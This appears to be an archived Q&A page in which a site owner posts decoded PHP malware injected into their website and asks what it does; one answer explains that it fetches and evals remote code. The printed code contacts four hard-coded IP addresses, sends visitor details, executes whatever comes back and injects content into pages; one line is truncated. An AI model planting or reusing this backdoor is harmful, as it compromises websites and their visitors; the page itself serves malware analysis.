Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • Home
  • SEARCH
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 7674141
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 31, 20262026-05-31T16:40:22+00:00 2026-05-31T16:40:22+00:00

This was injected into my site in a hack attack the other day, I

  • 0

This was injected into my site in a hack attack the other day, I decrypted it and got this:
Can someone tell me what it does?

EDIT: dont go to the IP addresses, They are probably malicious too.

if (!function_exists(GetMama)){
    function opanki($buf){
        global $god_mode;
        str_replace("href","href",strtolower($buf),$cnt_h);
        str_replace(" 2)&&($cnt_x == 0)) {
            $buf = $god_mode . $buf;
        } return $buf;
    }

    function GetMama(){
        $mother = "www.imp3.me";
        return $mother;
    }

    ob_start("opanki");
    $show = false;

    function ahfudflfzdhfhs($pa){
        global $show;
        global $god_mode;
        $mama = GetMama();

        $file = urlencode(__FILE__);
        if (isset($_SERVER["HTTP_HOST"])){
            $host = $_SERVER["HTTP_HOST"];
        }
        if (isset($_SERVER["REMOTE_ADDR"])){
            $ip = $_SERVER["REMOTE_ADDR"];
        }
        if (isset($_SERVER["HTTP_REFERER"])){
            $ref = urlencode($_SERVER["HTTP_REFERER"]);
        }
        if (isset($_SERVER["HTTP_USER_AGENT"])){
            $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));
        }

        $url = "http://" . $pa . "/opp.php?mother=" .$mama . "&file=" . $file . "&host=" . $host . "&ip=" . $ip . "&ref=" . $ref . "&ua=" .$ua;

        if( function_exists("curl_init") ){
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 3);
            $ult = curl_exec($ch);
        } else {
            $ult = @file_get_contents($url);
        }
        if (strpos($ult,"eval") !== false){
            $z = str_replace("eval","",$ult);
            eval($z);
            $show = true;
            return true;
        }
        if (strpos($ult,"ebna") !== false){
            $z = str_replace("ebna","",$ult);
            $god_mode = $z;
            $show = true;
            return true;
        } else {
            return false;
        }
    }

    $father[] = "146.185.254.245";
    $father[] = "31.184.242.103";
    $father[] = "91.196.216.148";
    $father[] = "91.196.216.49";

    foreach($father as $ur){
        if ( ahfudflfzdhfhs($ur) ) { break ;}
    }
    if ($show === false){
        $script='';
        $god_mode = $script;
    }
}
  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-31T16:40:24+00:00Added an answer on May 31, 2026 at 4:40 pm

    It fetches (file_get_contents) a file from the IP addresses listed and executes (eval) the file, which can be anything. Putting more files on your server, looking for other vulnerabilities, sending spam e-mails, hosting malware .. anything.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

This is a self-explanatory question: Why does this thing bubble into my try catch's
we deliver micro-site content for our client. Our content is injected into a wrapper
I've got my own DLL which is being injected into another process. From the
Did anybody know more information about this attack ? I recently got this script
This is a bit of a long shot, but if anyone can figure it
This error just started popping up all over our site. Permission denied to call
I've injected into a proprietary Qt (4.5.2) application, added my own compatible build of
how can i convert http to h$#t!t@@^#p i have seen this code which was
I have a script that I want to be injected into the document BEFORE
This test is to check that I can return a ViewModel object by creating

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.